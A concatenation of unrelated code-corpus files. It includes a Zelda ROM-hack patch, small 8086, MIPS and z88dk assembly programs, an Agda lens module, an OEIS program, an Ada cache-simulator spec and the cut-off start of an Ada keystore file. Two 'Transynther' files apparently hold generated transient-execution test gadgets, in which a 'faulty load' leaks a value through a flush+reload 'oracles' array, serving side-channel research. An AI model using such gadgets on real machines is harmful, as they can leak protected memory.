#$22, #$DF, #$20, #$69, #$B8, #$70, #$A4, #$08, #$00, #$60, #$10, #$00, #$60, #$18, #$13, #$C0, #$18, #$53, #$C0, #$59, #$13, #$C0, #$59, #$53, #$C0, #$59, #$89, #$C0, #$89, #$81, #$C0, #$89, #$A0, #$00, #$8B, #$E1, #$C0, #$CA, #$E1, #$C0, #$D9, #$83, #$C0, #$D9, #$C1, #$C0, #$FF, #$FF, #$2B, #$14, #$FF, #$FF, #$FF, #$F0, #$FF, #$61, #$0A, #$82, #$18
;
;org $04F4F3 ; Ganon Basement to Hera
;db #$07
;
;org $02D26A ; Pyramid Hole is Hera Entrance
;db #$14
;
;org $02E849 ; Fly 1 to Sanctuary
;db #$13, #$00, #$16, #$00, #$18, #$00, #$2C, #$00, #$2F, #$00, #$30, #$00, #$3B, #$00, #$3F, #$00, #$5B, #$00, #$35, #$00, #$0F, #$00, #$15, #$00, #$33, #$00, #$12, #$00, #$3F, #$00, #$55, #$00, #$7F, #$00, #$1A, #$00, #$88, #$08, #$30, #$0B, #$88, #$05, #$98, #$07, #$80, #$18, #$9E, #$06, #$10, #$08, #$2E, #$00, #$42, #$12, #$80, #$06, #$12, #$01, #$9E, #$05, #$8E, #$04, #$80, #$02, #$12, #$01, #$80, #$02, #$00, #$04, #$16, #$05, #$59, #$07, #$B9, #$0A, #$FA, #$0A, #$1E, #$0F, #$DF, #$0E, #$05, #$0F, #$00, #$06, #$46, #$0E, #$C6, #$02, #$2A, #$04, #$BA, #$0C, #$9A, #$04, #$56, #$0E, #$2A, #$04, #$56, #$0E, #$D6, #$06, #$4E, #$0C, #$7E, #$01, #$40, #$08, #$B2, #$0E, #$00, #$00, #$F2, #$06, #$75, #$0E, #$78, #$07, #$0A, #$0C, #$06, #$0E, #$8A, #$0A, #$EA, #$06, #$62, #$04, #$00, #$0E, #$8A, #$0A, #$00, #$0E, #$68, #$04, #$78, #$05, #$B7, #$07, #$17, #$0B, #$58, #$0B, #$A8, #$0F, #$3D, #$0F, #$67, #$0F, #$5C, #$06, #$A8, #$0E, #$28, #$03, #$88, #$04, #$18, #$0D, #$F8, #$04, #$B8, #$0E, #$88, #$04, #$B8, #$0E, #$56, #$07, #$C8, #$0C, #$00, #$02, #$B8, #$08, #$30, #$0F, #$78, #$00, #$78, #$07, #$F3, #$0E, #$F0, #$07, #$90, #$0C, #$80, #$0E, #$10, #$0B, #$70, #$07, #$E8, #$04, #$68, #$0E, #$10, #$0B, #$68, #$0E, #$70, #$04, #$83, #$05, #$C6, #$07, #$26, #$0B, #$67, #$0B, #$8D, #$0F, #$4C, #$0F, #$72, #$0F, #$6D, #$06, #$B3, #$0E, #$33, #$03, #$97, #$04, #$27, #$0D, #$07, #$05, #$C3, #$0E, #$97, #$04, #$C3, #$0E, #$56, #$07, #$D3, #$0C, #$0B, #$02, #$BF, #$08, #$37, #$0F, #$8D, #$00, #$7F, #$07, #$FA, #$0E, #$F7, #$07, #$97, #$0C, #$8B, #$0E, #$17, #$0B, #$77, #$07, #$EF, #$04, #$85, #$0E, #$17, #$0B, #$85, #$0E, #$F6, #$FF, #$FA, #$FF, #$07, #$00, #$F7, #$FF, #$F6, #$FF, #$00, #$00, #$F1, #$FF, #$FB, #$FF, #$00, #$00, #$FA, #$FF, #$0A, #$00, #$F6, #$FF, #$F6, #$FF, #$F6, #$FF, #$FA, #$FF, #$F6, #$FF, #$FA, #$FF, #$F2, #$FF, #$F2, #$FF, #$02, #$00, #$00, #$00, #$0E, #$00, #$00, #$00, #$FE, #$FF, #$0B, #$00, #$F8, #$FF, #$06, #$00, #$FA, #$FF, #$FA, #$FF, #$06, #$00, #$0E, #$00, #$00, #$00, #$FA, #$FF, #$00, #$00
;
;;---
;
;org $02A451 ; Disable OW Map
;LDA.b #$00
;
;org $0287FB ; Disable UW Map
;LDA.b #$00
;
;org $06C913 ; 34913 sprite_ponds.asm:933 (LDA.b #$3B : STA $0DC0, X ; silver arrows)
;LDA.b #$43
;
;org $1D9532 ; E9532
;JSL CanGanonTakeDamage : NOP
;
;org $2F8000
;CanGanonTakeDamage:
; LDA $7EF359 : CMP.b #$02 : BEQ .normal
; .invincible
; LDA.b #$01 : STA $0D80, X
; LDA.b #$80 : STA $0DF0, X
;RTL
; .normal
; LDA.b #$11 : STA $0D80, X
; LDA.b #$68 : STA $0DF0, X
;RTL
;
; |
libsrc/_DEVELOPMENT/fcntl/c/sdcc_ix/vioctl_callee.asm | jpoikela/z88dk | 640 | 98929 |
; int vioctl_callee(int fd, uint16_t request, void *arg)
SECTION code_clib
SECTION code_fcntl
PUBLIC _vioctl_callee, l0_vioctl_callee
EXTERN asm_vioctl
_vioctl_callee:
pop af
pop hl
pop bc
pop de
push af
l0_vioctl_callee:
push ix
call asm_vioctl
pop ix
ret
|
24Oct2019/task4.asm | candh/8086-programs | 0 | 6224 | .model small
.stack 100h
.data
row db "**********",0Dh,0Ah,"$"
.code
main proc
mov ax, @data
mov ds, ax
mov ah, 9
mov cx, 10
loop:
lea dx, row
int 21h
dec cx
jnz loop
mov ax, 4C00h
int 21h
main endp
end main |
Lens/Pair.agda | oisdk/agda-playground | 6 | 9562 | {-# OPTIONS --cubical --safe --postfix-projections #-}
module Lens.Pair where
open import Prelude
open import Lens.Definition
⦅fst⦆ : Lens (A × B) A
⦅fst⦆ .fst (x , y) = lens-part x (_, y)
⦅fst⦆ .snd .get-set s v i = v
⦅fst⦆ .snd .set-get s i = s
⦅fst⦆ .snd .set-set s v₁ v₂ i = v₂ , s .snd
⦅snd⦆ : Lens (A × B) B
⦅snd⦆ .fst (x , y) = lens-part y (x ,_)
⦅snd⦆ .snd .get-set s v i = v
⦅snd⦆ .snd .set-get s i = s
⦅snd⦆ .snd .set-set s v₁ v₂ i = s .fst , v₂
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21829_1349.asm | ljhsiun2/medusa | 9 | 19738 | <reponame>ljhsiun2/medusa
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r14
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x888e, %rsi
lea addresses_UC_ht+0x37ef, %rdi
nop
inc %r14
mov $100, %rcx
rep movsw
nop
nop
and $28437, %rdx
lea addresses_D_ht+0x134c5, %r10
nop
sub %rbp, %rbp
mov (%r10), %r14
nop
nop
nop
nop
nop
cmp $46623, %rcx
lea addresses_A_ht+0x1e86b, %r14
nop
xor $29832, %rsi
mov $0x6162636465666768, %rcx
movq %rcx, (%r14)
nop
nop
nop
cmp $41618, %rbp
lea addresses_normal_ht+0x9f23, %rsi
lea addresses_UC_ht+0x24cb, %rdi
nop
nop
nop
add %r13, %r13
mov $45, %rcx
rep movsw
nop
nop
nop
nop
nop
inc %rbp
lea addresses_A_ht+0x1406b, %r14
inc %rdi
mov $0x6162636465666768, %r10
movq %r10, %xmm1
movups %xmm1, (%r14)
nop
add $12580, %rdx
lea addresses_normal_ht+0x8b55, %r10
nop
cmp %rdx, %rdx
mov $0x6162636465666768, %rsi
movq %rsi, (%r10)
nop
nop
inc %rcx
lea addresses_normal_ht+0x1d96b, %rsi
lea addresses_D_ht+0x1bc6b, %rdi
cmp %rdx, %rdx
mov $30, %rcx
rep movsw
nop
nop
nop
add %rbp, %rbp
lea addresses_A_ht+0x1162b, %rsi
lea addresses_WC_ht+0x355b, %rdi
clflush (%rdi)
nop
nop
inc %rdx
mov $121, %rcx
rep movsq
sub $3561, %r14
lea addresses_UC_ht+0x10ceb, %rsi
lea addresses_WT_ht+0x116b, %rdi
sub %r14, %r14
mov $78, %rcx
rep movsw
nop
nop
nop
nop
nop
xor %rsi, %rsi
lea addresses_WT_ht+0x1b790, %rdi
clflush (%rdi)
and $49943, %rcx
movb $0x61, (%rdi)
nop
nop
nop
nop
inc %r10
lea addresses_D_ht+0x71eb, %r10
xor $34490, %rsi
movw $0x6162, (%r10)
nop
nop
xor %rdx, %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r14
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r13
push %rbp
push %rdi
push %rdx
// Load
lea addresses_D+0xb86b, %rbp
nop
nop
cmp %r13, %r13
mov (%rbp), %r11w
nop
nop
and %r13, %r13
// Store
lea addresses_WC+0x15831, %r10
nop
nop
nop
nop
nop
and %r12, %r12
movl $0x51525354, (%r10)
nop
nop
nop
nop
nop
add %r11, %r11
// Load
lea addresses_WT+0x1796b, %rdi
nop
nop
nop
add $64298, %r12
mov (%rdi), %r11
add $38568, %r13
// Store
lea addresses_WT+0x1a8ab, %rbp
clflush (%rbp)
and %rdx, %rdx
mov $0x5152535455565758, %r10
movq %r10, %xmm3
vmovups %ymm3, (%rbp)
nop
nop
xor $41254, %r12
// Load
lea addresses_US+0x4183, %rdi
nop
nop
nop
nop
sub $26569, %r12
movb (%rdi), %r13b
nop
nop
nop
nop
nop
xor %r11, %r11
// Store
lea addresses_PSE+0xd6b, %rdx
cmp $26522, %rbp
mov $0x5152535455565758, %r12
movq %r12, (%rdx)
nop
nop
nop
sub %rdx, %rdx
// Faulty Load
lea addresses_PSE+0x2c6b, %r11
nop
cmp $44352, %r12
vmovups (%r11), %ymm7
vextracti128 $0, %ymm7, %xmm7
vpextrq $0, %xmm7, %r10
lea oracles, %rdx
and $0xff, %r10
shlq $12, %r10
mov (%rdx,%r10,1), %r10
pop %rdx
pop %rdi
pop %rbp
pop %r13
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_PSE', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_US', 'same': False, 'AVXalign': False, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_PSE', 'same': False, 'AVXalign': True, 'congruent': 6}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_PSE', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 0}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 1}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 3}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 5}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': True, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'OP': 'REPM', 'src': {'same': True, 'type': 'addresses_normal_ht', 'congruent': 1}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 11}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 5}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 2}}
{'OP': 'REPM', 'src': {'same': True, 'type': 'addresses_UC_ht', 'congruent': 6}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 8}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_WT_ht', 'same': True, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 7}}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xca.log_21829_933.asm | ljhsiun2/medusa | 9 | 11527 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x73f2, %rsi
lea addresses_WC_ht+0x791c, %rdi
nop
nop
nop
add $62815, %r12
mov $25, %rcx
rep movsb
nop
nop
cmp %r11, %r11
lea addresses_A_ht+0x17a4a, %r10
nop
nop
cmp %r9, %r9
mov (%r10), %rdi
nop
nop
nop
add $13137, %r11
lea addresses_normal_ht+0x16ec, %r11
nop
nop
dec %r12
mov $0x6162636465666768, %r9
movq %r9, %xmm1
and $0xffffffffffffffc0, %r11
movntdq %xmm1, (%r11)
nop
nop
nop
nop
nop
sub $33654, %r11
lea addresses_UC_ht+0x597c, %rsi
lea addresses_normal_ht+0x1a7ec, %rdi
nop
and $39275, %rax
mov $23, %rcx
rep movsw
nop
nop
nop
nop
nop
xor $2391, %rsi
lea addresses_A_ht+0x125ec, %r9
nop
nop
nop
cmp %rdi, %rdi
vmovups (%r9), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $0, %xmm0, %r11
nop
nop
nop
nop
sub %rsi, %rsi
lea addresses_UC_ht+0x674c, %rdi
mfence
movb (%rdi), %r9b
nop
nop
nop
nop
nop
dec %r12
lea addresses_WT_ht+0x1c7ec, %rsi
lea addresses_UC_ht+0x1cfec, %rdi
nop
nop
nop
nop
nop
xor %r9, %r9
mov $55, %rcx
rep movsb
nop
nop
cmp $28273, %rsi
lea addresses_UC_ht+0x10e9a, %rax
nop
nop
nop
nop
nop
sub $41325, %r12
mov (%rax), %rdi
nop
sub %rsi, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r8
push %rbp
push %rbx
push %rdi
// Store
lea addresses_RW+0x1d8f8, %rbx
nop
nop
dec %r11
movw $0x5152, (%rbx)
inc %r8
// Faulty Load
lea addresses_normal+0x23ec, %rbp
clflush (%rbp)
nop
add $32484, %rdi
mov (%rbp), %r11d
lea oracles, %rbx
and $0xff, %r11
shlq $12, %r11
mov (%rbx,%r11,1), %r11
pop %rdi
pop %rbx
pop %rbp
pop %r8
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': True, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_RW', 'same': False, 'AVXalign': False, 'congruent': 1}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 4, 'NT': True, 'type': 'addresses_normal', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 0}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 3}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': True, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 8}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 0}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 10}}
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_UC_ht', 'same': True, 'AVXalign': False, 'congruent': 4}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 8}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 9}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
Task2_v1.1.asm | OliverHeib/Assembaly-code | 0 | 29945 | .text
addi $s0, $zero, 2 #initiating division number
#inputting ID
li $v0, 5 #syscall number for inputting an integer
syscall
add $s1, $v0, $zero #copying the input to another register
#dividing by 2
div $s1, $s0 #dividing input by 2
#outputting ID
mflo $a0 # moving the quotient to anothere register
li $v0, 1 #syscall number for outputting an integer
syscall
|
oeis/087/A087463.asm | neoneye/loda-programs | 11 | 9732 | ; A087463: Generalized multiplicative Jacobsthal sequence.
; Submitted by <NAME>
; 0,1,1,0,5,11,0,43,85,0,341,683,0,2731,5461,0,21845,43691,0,174763,349525,0,1398101,2796203,0,11184811,22369621,0,89478485,178956971,0,715827883,1431655765,0,5726623061,11453246123,0,45812984491,91625968981,0,366503875925,733007751851,0,2932031007403,5864062014805,0,23456248059221,46912496118443,0,187649984473771,375299968947541,0,1501199875790165,3002399751580331,0,12009599006321323,24019198012642645,0,96076792050570581,192153584101141163,0,768614336404564651,1537228672809129301,0
dif $0,-3
mov $1,2
pow $1,$0
add $1,1
div $1,3
mov $0,$1
|
src/caches.ads | HeisenbugLtd/cache-sim | 0 | 12386 | <reponame>HeisenbugLtd/cache-sim
------------------------------------------------------------------------------
-- Copyright (C) 2012-2020 by Heisenbug Ltd.
--
-- This work is free. You can redistribute it and/or modify it under the
-- terms of the Do What The Fuck You Want To Public License, Version 2,
-- as published by Sam Hocevar. See the LICENSE file for more details.
--------------------------------------------------------------------------------
pragma License (Unrestricted);
--------------------------------------------------------------------------------
--
-- Caches provides basic types for the implementation of simulating cache
-- behaviour in computer systems.
--
-- Here, the basic data types are declared.
--
-- An abstract class is introduced which provides the interface to the usual
-- operations expected for a cache (initialization, read, write, flush) plus
-- some house-keeping methods (performance counter reset, information
-- extraction and provision of an overall performance indicator).
--
--------------------------------------------------------------------------------------------------------------------------------------------------------------
package Caches is
pragma Preelaborate;
-- Provide some basic constants.
KI_BYTE : constant := 2 ** 10;
MI_BYTE : constant := 2 ** 20;
GI_BYTE : constant := 2 ** 30;
-- Basic types representing addresses and indices.
type Unsigned is range 0 .. 2 ** 32 - 1;
type Address is new Unsigned;
-- Counter for several purposes.
type Count is new Unsigned;
-- Representation of non-null bit lengths and their respective ranges.
subtype Bit_Number is Natural range 0 .. 32;
subtype Bytes is Unsigned range
2 ** Bit_Number'First .. 2 ** Bit_Number'Last - 1;
-- Subtypes for maximum supported cache line lengths, associativity, and
-- cache sizes.
subtype Line_Length is Bytes range Bytes'First .. 1 * KI_BYTE;
subtype Associativity is Bytes range Bytes'First .. 1 * KI_BYTE;
subtype Full_Size is Bytes range Bytes'First .. 2 * GI_BYTE;
-- Info about the dynamic behaviour of a specific cache (cache event
-- counter).
type Event_Info is
record
Reads : Count;
Writes : Count;
Lines_Fetched : Count;
Lines_Flushed : Count;
Hits : Count;
Misses : Count;
end record;
-- Info about the static properties (configuration) of a cache.
type Configuration is
record
Cache_Line : Line_Length; -- Length of a single cache line.
Association : Associativity; -- Number of entries per slot.
Num_Blocks : Full_Size; -- # of cache block.
Cache_Size : Full_Size; -- Cache size.
Speed_Factor : Long_Float; -- Speed factor compared to next level.
end record;
type Cache is abstract tagged limited private;
type Cache_Ptr is access all Cache'Class;
-- Primitive operation of all sort of caches.
-----------------------------------------------------------------------------
-- Initialize
--
-- Initializes the given cache. Result is a cold, empty cache.
-----------------------------------------------------------------------------
procedure Initialize (This : in out Cache) is abstract;
-----------------------------------------------------------------------------
-- Flush
--
-- Flushes the given cache. Collected performance data is not erased. If
-- Recursive is True, any connected sub-level cache will be flushed, too.
-----------------------------------------------------------------------------
procedure Flush (This : in out Cache;
Recursive : in Boolean := True) is abstract;
-----------------------------------------------------------------------------
-- Reset
--
-- Resets the performance data of the cache. It has no effect on the current
-- cache's state. If Recursive is True, applies to any connected sub-level
-- cache, too.
-----------------------------------------------------------------------------
procedure Reset (This : in out Cache;
Recursive : in Boolean := True) is abstract;
-----------------------------------------------------------------------------
-- Read
--
-- Simulates a read access to the given address.
-----------------------------------------------------------------------------
procedure Read (This : in out Cache;
Where : in Address) is abstract;
-----------------------------------------------------------------------------
-- Write
--
-- Simulates a write access to the given address.
-----------------------------------------------------------------------------
procedure Write (This : in out Cache;
Where : in Address) is abstract;
-----------------------------------------------------------------------------
-- Perf_Index
--
-- Returns a float value representing the performance of the cache This. If
-- Recursive is True, any connected cache's performance value is added to
-- the performance value after correcting it via the appropriate speed
-- factor.
-----------------------------------------------------------------------------
function Perf_Index
(This : in Cache;
Recursive : in Boolean := True) return Long_Float is abstract;
-- Class wide operations
-----------------------------------------------------------------------------
-- Info
--
-- Returns the dynamic performance info record of the given cache.
-----------------------------------------------------------------------------
function Info (This : in Cache'Class) return Event_Info;
-----------------------------------------------------------------------------
-- Info
--
-- Returns the static configuration info record of the given cache.
-----------------------------------------------------------------------------
function Info (This : in Cache'Class) return Configuration;
private
type Cache is abstract tagged limited
record
Config : Configuration;
Events : Event_Info;
end record;
end Caches;
|
src/keystore-files.adb | My-Colaborations/ada-keystore | 25 | 9233 | <filename>src/keystore-files.adb
-----------------------------------------------------------------------
-- keystore-files -- Ada keystore files
-- Copyright (C) 2019, 2020 <NAME>
